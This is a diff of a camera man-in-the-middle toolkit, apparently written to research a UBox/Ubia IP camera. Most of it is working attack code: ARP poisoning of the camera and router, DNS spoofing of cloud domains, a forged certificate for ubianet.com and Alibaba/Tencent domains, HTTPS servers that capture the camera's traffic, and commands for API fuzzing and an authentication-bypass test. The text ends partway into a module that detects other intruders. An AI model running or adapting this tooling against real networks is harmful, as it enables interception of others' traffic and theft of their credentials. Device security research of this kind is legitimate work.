── UBox Cloud API ─────────────────────────────────────────
|
||||||
|
login Authenticate to UBox cloud
|
||||||
|
devices List devices (leaks creds!)
|
||||||
|
firmware Check firmware version
|
||||||
|
services Query device services
|
||||||
|
families List account families
|
||||||
|
api <endpoint> Raw POST to any API endpoint
|
||||||
|
|
||||||
|
── Fuzzer ─────────────────────────────────────────────────
|
||||||
|
fuzz endpoints Discover hidden API endpoints
|
||||||
|
fuzz params <ep> Fuzz parameters on endpoint
|
||||||
|
fuzz auth Test authentication bypass
|
||||||
|
fuzz stop Stop running fuzzer
|
||||||
|
fuzz results Save fuzzer results to file
|
||||||
|
|
||||||
|
── Packet Injection ───────────────────────────────────────
|
||||||
|
inject udp <ip> <port> <hex> Send UDP packet
|
||||||
|
inject arp_reply <src> <dst> Send spoofed ARP reply
|
||||||
|
inject dns_query <domain> Send DNS query
|
||||||
|
|
||||||
|
── General ────────────────────────────────────────────────
|
||||||
|
clear Clear log
|
||||||
|
help Show this help
|
||||||
|
quit Exit
|
||||||
|
|
||||||
|
── REST API (for external tools) ──────────────────────────
|
||||||
|
Runs on port 9090 (configurable via 'set rest_port')
|
||||||
|
GET /status, /logs, /devices, /config, /fuzz/results
|
||||||
|
POST /start, /stop, /config, /command, /api,
|
||||||
|
/fuzz/endpoints, /fuzz/params, /fuzz/auth, /inject
|
||||||
|
""".strip()
|
||||||
|
|
||||||
|
|
||||||
|
def curses_main(stdscr, ctrl):
|
||||||
|
curses.curs_set(1)
|
||||||
|
curses.start_color()
|
||||||
|
curses.use_default_colors()
|
||||||
|
curses.init_pair(1, curses.COLOR_RED, -1)
|
||||||
|
curses.init_pair(2, curses.COLOR_GREEN, -1)
|
||||||
|
curses.init_pair(3, curses.COLOR_CYAN, -1)
|
||||||
|
curses.init_pair(4, curses.COLOR_YELLOW, -1)
|
||||||
|
curses.init_pair(5, curses.COLOR_MAGENTA, -1)
|
||||||
|
curses.init_pair(6, curses.COLOR_BLACK, curses.COLOR_WHITE)
|
||||||
|
curses.init_pair(7, curses.COLOR_BLACK, curses.COLOR_GREEN)
|
||||||
|
|
||||||
|
stdscr.nodelay(True)
|
||||||
|
stdscr.keypad(True)
|
||||||
|
input_buf = ""
|
||||||
|
scroll_offset = 0
|
||||||
|
cmd_history = deque(maxlen=50)
|
||||||
|
hist_idx = -1
|
||||||
|
|
||||||
|
log("SetecSuite — Camera MITM Tool", C_INFO)
|
||||||
|
log(f"Target: {ctrl.cfg['camera_ip']} Us: {ctrl.cfg['our_ip']} Router: {ctrl.cfg['router_ip']}", C_INFO)
|
||||||
|
log(f"REST API on :{ctrl.cfg['rest_port']} | Type 'help' for commands", C_INFO)
|
||||||
|
log("", C_NONE)
|
||||||
|
|
||||||
|
# Start REST API server
|
||||||
|
threading.Thread(target=rest_server.start_server,
|
||||||
|
args=(ctrl, ctrl.cfg["rest_port"]), daemon=True).start()
|
||||||
|
|
||||||
|
while ctrl.running:
|
||||||
|
try:
|
||||||
|
h, w = stdscr.getmaxyx()
|
||||||
|
if h < 5 or w < 40:
|
||||||
|
time.sleep(0.1)
|
||||||
|
continue
|
||||||
|
|
||||||
|
stdscr.erase()
|
||||||
|
|
||||||
|
# ─── Title bar ────────────────────────────────
|
||||||
|
title = " SetecSuite MITM "
|
||||||
|
parts = []
|
||||||
|
if ctrl.services_running:
|
||||||
|
parts.append("MITM:ON")
|
||||||
|
else:
|
||||||
|
parts.append("MITM:OFF")
|
||||||
|
for k, v in ctrl.flags.items():
|
||||||
|
parts.append(f"{k}:{'✓' if v else '✗'}")
|
||||||
|
if ctrl.cfg["api_token"]:
|
||||||
|
parts.append("API:✓")
|
||||||
|
if ctrl.cfg["device_uid"]:
|
||||||
|
parts.append(f"UID:{ctrl.cfg['device_uid'][:8]}")
|
||||||
|
|
||||||
|
bar = f"{title}| {' | '.join(parts)} "
|
||||||
|
pair = 7 if ctrl.services_running else 6
|
||||||
|
try:
|
||||||
|
stdscr.addstr(0, 0, bar.ljust(w)[:w], curses.color_pair(pair) | curses.A_BOLD)
|
||||||
|
except curses.error:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# ─── Log area ─────────────────────────────────
|
||||||
|
log_h = h - 3
|
||||||
|
with lock:
|
||||||
|
visible = list(log_lines)
|
||||||
|
total = len(visible)
|
||||||
|
if scroll_offset > max(0, total - log_h):
|
||||||
|
scroll_offset = max(0, total - log_h)
|
||||||
|
|
||||||
|
start_idx = max(0, total - log_h - scroll_offset)
|
||||||
|
end_idx = start_idx + log_h
|
||||||
|
|
||||||
|
for i, idx in enumerate(range(start_idx, min(end_idx, total))):
|
||||||
|
line, color = visible[idx]
|
||||||
|
y = i + 1
|
||||||
|
if y >= h - 2:
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
display = line[:w - 1]
|
||||||
|
attr = curses.color_pair(color) if color else 0
|
||||||
|
stdscr.addstr(y, 0, display, attr)
|
||||||
|
except curses.error:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# ─── Separator ────────────────────────────────
|
||||||
|
try:
|
||||||
|
stdscr.addstr(h - 2, 0, "─" * (w - 1), curses.color_pair(3))
|
||||||
|
except curses.error:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# ─── Input ────────────────────────────────────
|
||||||
|
prompt = "❯ "
|
||||||
|
try:
|
||||||
|
stdscr.addstr(h - 1, 0, prompt, curses.color_pair(2) | curses.A_BOLD)
|
||||||
|
stdscr.addstr(h - 1, len(prompt), input_buf[:w - len(prompt) - 1])
|
||||||
|
stdscr.move(h - 1, min(len(prompt) + len(input_buf), w - 1))
|
||||||
|
except curses.error:
|
||||||
|
pass
|
||||||
|
|
||||||
|
stdscr.refresh()
|
||||||
|
|
||||||
|
# ─── Key handling ─────────────────────────────
|
||||||
|
try:
|
||||||
|
ch = stdscr.getch()
|
||||||
|
except:
|
||||||
|
ch = -1
|
||||||
|
|
||||||
|
if ch == -1:
|
||||||
|
time.sleep(0.04)
|
||||||
|
continue
|
||||||
|
elif ch in (10, 13): # Enter
|
||||||
|
if input_buf.strip():
|
||||||
|
cmd_history.appendleft(input_buf)
|
||||||
|
hist_idx = -1
|
||||||
|
ctrl.process_command(input_buf)
|
||||||
|
input_buf = ""
|
||||||
|
scroll_offset = 0
|
||||||
|
elif ch == 27: # Escape
|
||||||
|
input_buf = ""
|
||||||
|
hist_idx = -1
|
||||||
|
elif ch in (curses.KEY_BACKSPACE, 127, 8):
|
||||||
|
input_buf = input_buf[:-1]
|
||||||
|
elif ch == curses.KEY_UP:
|
||||||
|
if cmd_history:
|
||||||
|
hist_idx = min(hist_idx + 1, len(cmd_history) - 1)
|
||||||
|
input_buf = cmd_history[hist_idx]
|
||||||
|
elif ch == curses.KEY_DOWN:
|
||||||
|
if hist_idx > 0:
|
||||||
|
hist_idx -= 1
|
||||||
|
input_buf = cmd_history[hist_idx]
|
||||||
|
elif hist_idx == 0:
|
||||||
|
hist_idx = -1
|
||||||
|
input_buf = ""
|
||||||
|
elif ch == curses.KEY_PPAGE:
|
||||||
|
scroll_offset = min(scroll_offset + log_h, max(0, total - log_h))
|
||||||
|
elif ch == curses.KEY_NPAGE:
|
||||||
|
scroll_offset = max(0, scroll_offset - log_h)
|
||||||
|
elif ch == curses.KEY_HOME:
|
||||||
|
scroll_offset = max(0, total - log_h)
|
||||||
|
elif ch == curses.KEY_END:
|
||||||
|
scroll_offset = 0
|
||||||
|
elif 32 <= ch < 127:
|
||||||
|
input_buf += chr(ch)
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
if ctrl.services_running:
|
||||||
|
ctrl.stop_services()
|
||||||
|
ctrl.running = False
|
||||||
|
except Exception as e:
|
||||||
|
log(f"UI: {e}", C_ERROR)
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if os.geteuid() != 0:
|
||||||
|
print("Run with: sudo python3 mitm.py")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
ctrl = Controller()
|
||||||
|
os.makedirs(ctrl.cfg["log_dir"], exist_ok=True)
|
||||||
|
init_logfile(f"{ctrl.cfg['log_dir']}/mitm.log")
|
||||||
|
|
||||||
|
signal.signal(signal.SIGINT, lambda s, f: None) # Let curses handle it
|
||||||
|
|
||||||
|
try:
|
||||||
|
curses.wrapper(lambda stdscr: curses_main(stdscr, ctrl))
|
||||||
|
finally:
|
||||||
|
if ctrl.services_running:
|
||||||
|
ctrl.stop_services()
|
||||||
|
close_logfile()
|
||||||
|
print(f"\nLogs: {ctrl.cfg['log_dir']}/")
|
||||||
|
print(f"Config: {Config.CONFIG_FILE if hasattr(Config, 'CONFIG_FILE') else 'config.json'}")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
65
regen_cert.sh
Executable file
65
regen_cert.sh
Executable file
@@ -0,0 +1,65 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
if [[ $EUID -ne 0 ]]; then
|
||||||
|
echo "must run as root (use sudo)" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
ROOT_DIR=/root/dumps/mitm_logs
|
||||||
|
SNAKE_DIR=/home/snake/dumps/mitm_logs
|
||||||
|
mkdir -p "$ROOT_DIR" "$SNAKE_DIR"
|
||||||
|
|
||||||
|
CERT="$ROOT_DIR/mitm_cert.pem"
|
||||||
|
KEY="$ROOT_DIR/mitm_key.pem"
|
||||||
|
|
||||||
|
CFG=$(mktemp)
|
||||||
|
trap 'rm -f "$CFG"' EXIT
|
||||||
|
|
||||||
|
cat > "$CFG" <<'EOF'
|
||||||
|
[req]
|
||||||
|
distinguished_name = dn
|
||||||
|
req_extensions = v3_req
|
||||||
|
x509_extensions = v3_req
|
||||||
|
prompt = no
|
||||||
|
|
||||||
|
[dn]
|
||||||
|
CN = portal.ubianet.com
|
||||||
|
O = Ubia
|
||||||
|
C = US
|
||||||
|
|
||||||
|
[v3_req]
|
||||||
|
basicConstraints = CA:FALSE
|
||||||
|
keyUsage = digitalSignature, keyEncipherment
|
||||||
|
extendedKeyUsage = serverAuth
|
||||||
|
subjectAltName = @alt
|
||||||
|
|
||||||
|
[alt]
|
||||||
|
DNS.1 = portal.ubianet.com
|
||||||
|
DNS.2 = api.us.ubianet.com
|
||||||
|
DNS.3 = api.cn.ubianet.com
|
||||||
|
DNS.4 = *.ubianet.com
|
||||||
|
DNS.5 = *.aliyuncs.com
|
||||||
|
DNS.6 = *.oss-cn-shenzhen.aliyuncs.com
|
||||||
|
DNS.7 = *.myqcloud.com
|
||||||
|
IP.1 = 192.168.1.172
|
||||||
|
EOF
|
||||||
|
|
||||||
|
openssl req -x509 -newkey rsa:2048 -nodes -days 3650 \
|
||||||
|
-keyout "$KEY" -out "$CERT" -config "$CFG" -extensions v3_req
|
||||||
|
|
||||||
|
chmod 644 "$CERT"
|
||||||
|
chmod 600 "$KEY"
|
||||||
|
|
||||||
|
cp "$CERT" "$SNAKE_DIR/mitm_cert.pem"
|
||||||
|
cp "$KEY" "$SNAKE_DIR/mitm_key.pem"
|
||||||
|
chown snake:snake "$SNAKE_DIR/mitm_cert.pem" "$SNAKE_DIR/mitm_key.pem"
|
||||||
|
chmod 644 "$SNAKE_DIR/mitm_cert.pem"
|
||||||
|
chmod 600 "$SNAKE_DIR/mitm_key.pem"
|
||||||
|
|
||||||
|
echo
|
||||||
|
echo "=== wrote ==="
|
||||||
|
ls -l "$CERT" "$KEY" "$SNAKE_DIR/mitm_cert.pem" "$SNAKE_DIR/mitm_key.pem"
|
||||||
|
echo
|
||||||
|
echo "=== subject + SANs ==="
|
||||||
|
openssl x509 -in "$CERT" -noout -text | grep -E "Subject:|DNS:|IP Address:"
|
||||||
0
services/__init__.py
Normal file
0
services/__init__.py
Normal file
89
services/arp_spoof.py
Normal file
89
services/arp_spoof.py
Normal file
@@ -0,0 +1,89 @@
|
|||||||
|
"""ARP spoofing service — positions us as MITM between camera and router"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO
|
||||||
|
|
||||||
|
|
||||||
|
def get_mac(ip):
|
||||||
|
try:
|
||||||
|
out = os.popen(f"ip neigh show {ip}").read()
|
||||||
|
for line in out.strip().split("\n"):
|
||||||
|
parts = line.split()
|
||||||
|
if "lladdr" in parts:
|
||||||
|
return parts[parts.index("lladdr") + 1]
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def build_arp_reply(src_mac_str, dst_mac_str, src_ip, dst_ip):
|
||||||
|
src_mac = bytes.fromhex(src_mac_str.replace(":", ""))
|
||||||
|
dst_mac = bytes.fromhex(dst_mac_str.replace(":", ""))
|
||||||
|
eth = dst_mac + src_mac + b"\x08\x06"
|
||||||
|
arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2)
|
||||||
|
arp += src_mac + socket.inet_aton(src_ip)
|
||||||
|
arp += dst_mac + socket.inet_aton(dst_ip)
|
||||||
|
return eth + arp
|
||||||
|
|
||||||
|
|
||||||
|
def run(cfg, flags, running_check):
|
||||||
|
iface = cfg["iface"]
|
||||||
|
camera_ip = cfg["camera_ip"]
|
||||||
|
router_ip = cfg["router_ip"]
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(f"/sys/class/net/{iface}/address") as f:
|
||||||
|
our_mac = f.read().strip()
|
||||||
|
except:
|
||||||
|
log("ARP: cannot read our MAC", C_ERROR)
|
||||||
|
return
|
||||||
|
|
||||||
|
os.system(f"ping -c 1 -W 1 {router_ip} >/dev/null 2>&1")
|
||||||
|
os.system(f"ping -c 1 -W 1 {camera_ip} >/dev/null 2>&1")
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
router_mac = get_mac(router_ip)
|
||||||
|
camera_mac = get_mac(camera_ip) or cfg["camera_mac"]
|
||||||
|
|
||||||
|
if not router_mac:
|
||||||
|
log(f"ARP: cannot find router MAC for {router_ip}", C_ERROR)
|
||||||
|
return
|
||||||
|
|
||||||
|
log(f"ARP: us={our_mac} router={router_mac} camera={camera_mac}", C_SUCCESS)
|
||||||
|
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
|
||||||
|
sock.bind((iface, 0))
|
||||||
|
except PermissionError:
|
||||||
|
log("ARP: need root for raw sockets", C_ERROR)
|
||||||
|
return
|
||||||
|
|
||||||
|
flags["arp"] = True
|
||||||
|
pkt_to_cam = build_arp_reply(our_mac, camera_mac, router_ip, camera_ip)
|
||||||
|
pkt_to_rtr = build_arp_reply(our_mac, router_mac, camera_ip, router_ip)
|
||||||
|
|
||||||
|
while running_check():
|
||||||
|
try:
|
||||||
|
sock.send(pkt_to_cam)
|
||||||
|
sock.send(pkt_to_rtr)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
time.sleep(2)
|
||||||
|
|
||||||
|
# Restore
|
||||||
|
log("ARP: restoring...", C_INFO)
|
||||||
|
r1 = build_arp_reply(router_mac, camera_mac, router_ip, camera_ip)
|
||||||
|
r2 = build_arp_reply(camera_mac, router_mac, camera_ip, router_ip)
|
||||||
|
for _ in range(5):
|
||||||
|
try:
|
||||||
|
sock.send(r1)
|
||||||
|
sock.send(r2)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
time.sleep(0.3)
|
||||||
|
sock.close()
|
||||||
|
flags["arp"] = False
|
||||||
|
log("ARP: restored", C_INFO)
|
||||||
85
services/dns_spoof.py
Normal file
85
services/dns_spoof.py
Normal file
@@ -0,0 +1,85 @@
|
|||||||
|
"""DNS interception — spoofs cloud domains to point at us"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
from utils.log import log, C_SUCCESS, C_IMPORTANT, C_ERROR
|
||||||
|
|
||||||
|
SPOOF_DOMAINS = [b"ubianet.com", b"aliyuncs.com", b"amazonaws.com", b"myqcloud.com"]
|
||||||
|
|
||||||
|
|
||||||
|
def parse_dns_name(data, offset):
|
||||||
|
labels = []
|
||||||
|
while offset < len(data):
|
||||||
|
length = data[offset]
|
||||||
|
if length == 0:
|
||||||
|
offset += 1
|
||||||
|
break
|
||||||
|
if (length & 0xC0) == 0xC0:
|
||||||
|
ptr = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF
|
||||||
|
labels.append(parse_dns_name(data, ptr)[0])
|
||||||
|
offset += 2
|
||||||
|
break
|
||||||
|
offset += 1
|
||||||
|
labels.append(data[offset:offset + length])
|
||||||
|
offset += length
|
||||||
|
return b".".join(labels), offset
|
||||||
|
|
||||||
|
|
||||||
|
def build_dns_response(query, ip):
|
||||||
|
resp = bytearray(query[:2])
|
||||||
|
resp += b"\x81\x80"
|
||||||
|
resp += query[4:6]
|
||||||
|
resp += b"\x00\x01\x00\x00\x00\x00"
|
||||||
|
resp += query[12:]
|
||||||
|
resp += b"\xc0\x0c\x00\x01\x00\x01"
|
||||||
|
resp += struct.pack("!I", 60)
|
||||||
|
resp += b"\x00\x04"
|
||||||
|
resp += socket.inet_aton(ip)
|
||||||
|
return bytes(resp)
|
||||||
|
|
||||||
|
|
||||||
|
def run(cfg, flags, running_check):
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
sock.settimeout(1)
|
||||||
|
try:
|
||||||
|
sock.bind(("0.0.0.0", 53))
|
||||||
|
except OSError as e:
|
||||||
|
log(f"DNS: bind :53 failed: {e}", C_ERROR)
|
||||||
|
return
|
||||||
|
|
||||||
|
flags["dns"] = True
|
||||||
|
log("DNS: listening on :53", C_SUCCESS)
|
||||||
|
|
||||||
|
while running_check():
|
||||||
|
try:
|
||||||
|
data, addr = sock.recvfrom(1024)
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
if len(data) < 12:
|
||||||
|
continue
|
||||||
|
|
||||||
|
name, _ = parse_dns_name(data, 12)
|
||||||
|
name_str = name.decode("utf-8", errors="replace")
|
||||||
|
should_spoof = (addr[0] == cfg["camera_ip"] and
|
||||||
|
any(d in name.lower() for d in SPOOF_DOMAINS))
|
||||||
|
|
||||||
|
if should_spoof:
|
||||||
|
resp = build_dns_response(data, cfg["our_ip"])
|
||||||
|
sock.sendto(resp, addr)
|
||||||
|
log(f"DNS: {name_str} -> SPOOFED", C_IMPORTANT)
|
||||||
|
else:
|
||||||
|
fwd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
fwd.settimeout(3)
|
||||||
|
try:
|
||||||
|
fwd.sendto(data, (cfg["router_ip"], 53))
|
||||||
|
resp, _ = fwd.recvfrom(4096)
|
||||||
|
sock.sendto(resp, addr)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
fwd.close()
|
||||||
|
|
||||||
|
sock.close()
|
||||||
|
flags["dns"] = False
|
||||||
179
services/http_server.py
Normal file
179
services/http_server.py
Normal file
@@ -0,0 +1,179 @@
|
|||||||
|
"""HTTP and HTTPS MITM servers — intercept camera cloud traffic"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import ssl
|
||||||
|
import os
|
||||||
|
import json
|
||||||
|
import threading
|
||||||
|
from utils.log import log, hexdump, save_raw, C_SUCCESS, C_ERROR, C_TRAFFIC, C_IMPORTANT
|
||||||
|
from utils import proto as proto_id
|
||||||
|
|
||||||
|
|
||||||
|
def _handle_http(conn, addr, cfg):
|
||||||
|
try:
|
||||||
|
conn.settimeout(5)
|
||||||
|
data = conn.recv(8192)
|
||||||
|
if data:
|
||||||
|
text = data.decode("utf-8", errors="replace")
|
||||||
|
lines = text.split("\r\n")
|
||||||
|
log(f"HTTP {addr[0]}: {lines[0]}", C_TRAFFIC)
|
||||||
|
for l in lines[1:6]:
|
||||||
|
if l:
|
||||||
|
log(f" {l}", 0)
|
||||||
|
save_raw(cfg["log_dir"], f"http_{addr[0]}", data)
|
||||||
|
conn.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK")
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
|
||||||
|
def _handle_https(conn, addr, cfg):
|
||||||
|
try:
|
||||||
|
conn.settimeout(5)
|
||||||
|
data = b""
|
||||||
|
while True:
|
||||||
|
chunk = conn.recv(4096)
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
data += chunk
|
||||||
|
if b"\r\n\r\n" in data:
|
||||||
|
# Check Content-Length for body
|
||||||
|
cl = 0
|
||||||
|
for line in data.split(b"\r\n"):
|
||||||
|
if line.lower().startswith(b"content-length:"):
|
||||||
|
cl = int(line.split(b":")[1].strip())
|
||||||
|
break
|
||||||
|
hdr_end = data.index(b"\r\n\r\n") + 4
|
||||||
|
if len(data) >= hdr_end + cl:
|
||||||
|
break
|
||||||
|
|
||||||
|
if data:
|
||||||
|
try:
|
||||||
|
hdr_end = data.index(b"\r\n\r\n")
|
||||||
|
headers = data[:hdr_end].decode("utf-8", errors="replace")
|
||||||
|
body = data[hdr_end + 4:]
|
||||||
|
lines = headers.split("\r\n")
|
||||||
|
log(f"HTTPS {addr[0]}: {lines[0]}", C_TRAFFIC)
|
||||||
|
for l in lines[1:8]:
|
||||||
|
if l:
|
||||||
|
log(f" {l}", 0)
|
||||||
|
if body:
|
||||||
|
try:
|
||||||
|
parsed = json.loads(body)
|
||||||
|
log(f" BODY: {json.dumps(parsed)}", C_IMPORTANT)
|
||||||
|
except:
|
||||||
|
log(f" BODY ({len(body)}B):", 0)
|
||||||
|
log(hexdump(body), 0)
|
||||||
|
except:
|
||||||
|
log(f"HTTPS raw {addr[0]}: {len(data)}B", C_TRAFFIC)
|
||||||
|
log(hexdump(data), 0)
|
||||||
|
|
||||||
|
save_raw(cfg["log_dir"], f"https_{addr[0]}", data)
|
||||||
|
conn.sendall(b'HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n'
|
||||||
|
b'Content-Length: 27\r\n\r\n{"code":0,"msg":"success"}')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
|
||||||
|
def _generate_cert(log_dir):
|
||||||
|
cert = f"{log_dir}/mitm_cert.pem"
|
||||||
|
key = f"{log_dir}/mitm_key.pem"
|
||||||
|
if not os.path.exists(cert):
|
||||||
|
os.makedirs(log_dir, exist_ok=True)
|
||||||
|
os.system(f'openssl req -x509 -newkey rsa:2048 -keyout {key} '
|
||||||
|
f'-out {cert} -days 365 -nodes '
|
||||||
|
f'-subj "/CN=portal.ubianet.com" 2>/dev/null')
|
||||||
|
return cert, key
|
||||||
|
|
||||||
|
|
||||||
|
def run_http(cfg, flags, running_check):
|
||||||
|
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
srv.settimeout(1)
|
||||||
|
try:
|
||||||
|
srv.bind(("0.0.0.0", 80))
|
||||||
|
except OSError as e:
|
||||||
|
log(f"HTTP: bind :80 failed: {e}", C_ERROR)
|
||||||
|
return
|
||||||
|
srv.listen(5)
|
||||||
|
flags["http"] = True
|
||||||
|
log("HTTP: listening on :80", C_SUCCESS)
|
||||||
|
|
||||||
|
while running_check():
|
||||||
|
try:
|
||||||
|
conn, addr = srv.accept()
|
||||||
|
threading.Thread(target=_handle_http, args=(conn, addr, cfg), daemon=True).start()
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
srv.close()
|
||||||
|
flags["http"] = False
|
||||||
|
|
||||||
|
|
||||||
|
def run_https(cfg, flags, running_check):
|
||||||
|
cert, key = _generate_cert(cfg["log_dir"])
|
||||||
|
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||||
|
ctx.load_cert_chain(cert, key)
|
||||||
|
|
||||||
|
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
srv.settimeout(1)
|
||||||
|
try:
|
||||||
|
srv.bind(("0.0.0.0", 443))
|
||||||
|
except OSError as e:
|
||||||
|
log(f"HTTPS: bind :443 failed: {e}", C_ERROR)
|
||||||
|
return
|
||||||
|
srv.listen(5)
|
||||||
|
flags["https"] = True
|
||||||
|
log("HTTPS: listening on :443", C_SUCCESS)
|
||||||
|
|
||||||
|
while running_check():
|
||||||
|
try:
|
||||||
|
conn, addr = srv.accept()
|
||||||
|
# Peek at first bytes to detect TLS vs raw protocol
|
||||||
|
try:
|
||||||
|
conn.settimeout(3)
|
||||||
|
peek = conn.recv(8, socket.MSG_PEEK)
|
||||||
|
except Exception as e:
|
||||||
|
log(f"443 peek fail {addr[0]}: {e}", C_ERROR)
|
||||||
|
conn.close()
|
||||||
|
continue
|
||||||
|
conn.settimeout(None)
|
||||||
|
|
||||||
|
# TLS ClientHello starts with 0x16 0x03 0x0[0-4]
|
||||||
|
is_tls = len(peek) >= 3 and peek[0] == 0x16 and peek[1] == 0x03
|
||||||
|
|
||||||
|
if is_tls:
|
||||||
|
try:
|
||||||
|
ssl_conn = ctx.wrap_socket(conn, server_side=True)
|
||||||
|
threading.Thread(target=_handle_https, args=(ssl_conn, addr, cfg),
|
||||||
|
daemon=True).start()
|
||||||
|
except ssl.SSLError as e:
|
||||||
|
log(f"SSL fail {addr[0]}: {e} (first8={peek.hex()})", C_ERROR)
|
||||||
|
save_raw(cfg["log_dir"], f"raw_tls_fail_{addr[0]}", peek)
|
||||||
|
conn.close()
|
||||||
|
else:
|
||||||
|
# Non-TLS protocol on :443 — capture raw
|
||||||
|
pname = proto_id.detect(peek)
|
||||||
|
proto_id.record(pname)
|
||||||
|
log(f"NON-TLS on :443 from {addr[0]} proto={pname} first8={peek.hex()}", C_IMPORTANT)
|
||||||
|
try:
|
||||||
|
conn.settimeout(2)
|
||||||
|
full = conn.recv(4096)
|
||||||
|
if full:
|
||||||
|
log(f" Raw ({len(full)}B):", 0)
|
||||||
|
log(hexdump(full[:256]), 0)
|
||||||
|
save_raw(cfg["log_dir"], f"raw_443_{addr[0]}", full)
|
||||||
|
except Exception as e:
|
||||||
|
log(f" recv fail: {e}", C_ERROR)
|
||||||
|
conn.close()
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
srv.close()
|
||||||
|
flags["https"] = False
|
||||||
187
services/intruder_watch.py
Normal file
187
services/intruder_watch.py
Normal file
@@ -0,0 +1,187 @@
|
|||||||
|
"""
|
||||||
|
Intruder watch — detects unauthorized parties interacting with the camera.
|
||||||
|
|
||||||
|
Watches the raw socket for:
|
||||||
|
1. Any LAN host that isn't us, the router, or the camera, exchanging traffic
|
||||||
|
with the camera.
|
||||||
|
2. ARP replies for the camera's IP coming from a MAC that isn't the camera —
|
||||||
|
i.e. someone else is ARP-spoofing.
|
||||||
|
3. Outbound packets from the camera to destinations not on the known cloud
|
||||||
|
whitelist (suggests new C2 / unknown firmware behavior).
|
||||||
|
4. New TCP/UDP destination ports the camera initiates that we haven't seen.
|
||||||
|
|
||||||
|
Findings are pushed to utils.log AND to a shared `intruders` deque the GUI
|
||||||
|
reads from for the Intruders tab.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from collections import deque
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
from utils.log import log, C_ERROR, C_SUCCESS, C_IMPORTANT, C_TRAFFIC
|
||||||
|
|
||||||
|
# Shared state the GUI inspects
|
||||||
|
intruders = deque(maxlen=500)
|
||||||
|
_intruder_lock = threading.Lock()
|
||||||
|
|
||||||
|
# Known cloud destinations the camera is *expected* to talk to (from findings.md).
|
||||||
|
# Anything outside this set is suspicious.
|
||||||
|
KNOWN_CLOUD_NETS = [
|
||||||
|
# Tencent Cloud (P2P relay, COS)
|
||||||
|
("43.0.0.0", 8),
|
||||||
|
("119.28.0.0", 14),
|
||||||
|
("129.226.0.0", 15),
|
||||||
|
("150.109.0.0", 16),
|
||||||
|
# Alibaba Cloud (OSS, OTA)
|
||||||
|
("8.208.0.0", 12),
|
||||||
|
("47.74.0.0", 15),
|
||||||
|
("47.88.0.0", 13),
|
||||||
|
("118.178.0.0", 15),
|
||||||
|
# AWS (NTP buckets)
|
||||||
|
("3.64.0.0", 12),
|
||||||
|
("54.93.0.0", 16),
|
||||||
|
# Akamai (connectivity check, microsoft etc.)
|
||||||
|
("23.0.0.0", 8),
|
||||||
|
("104.64.0.0", 10),
|
||||||
|
# Microsoft / Apple / Amazon connectivity checks
|
||||||
|
("17.0.0.0", 8), # Apple
|
||||||
|
("13.64.0.0", 11), # Microsoft
|
||||||
|
("52.0.0.0", 8), # Amazon
|
||||||
|
# qq.com (Tencent connectivity probe)
|
||||||
|
("182.254.0.0", 16),
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def _ip_to_int(ip):
|
||||||
|
return struct.unpack("!I", socket.inet_aton(ip))[0]
|
||||||
|
|
||||||
|
|
||||||
|
def _in_net(ip, base, prefix):
|
||||||
|
ip_i = _ip_to_int(ip)
|
||||||
|
base_i = _ip_to_int(base)
|
||||||
|
mask = (0xFFFFFFFF << (32 - prefix)) & 0xFFFFFFFF
|
||||||
|
return (ip_i & mask) == (base_i & mask)
|
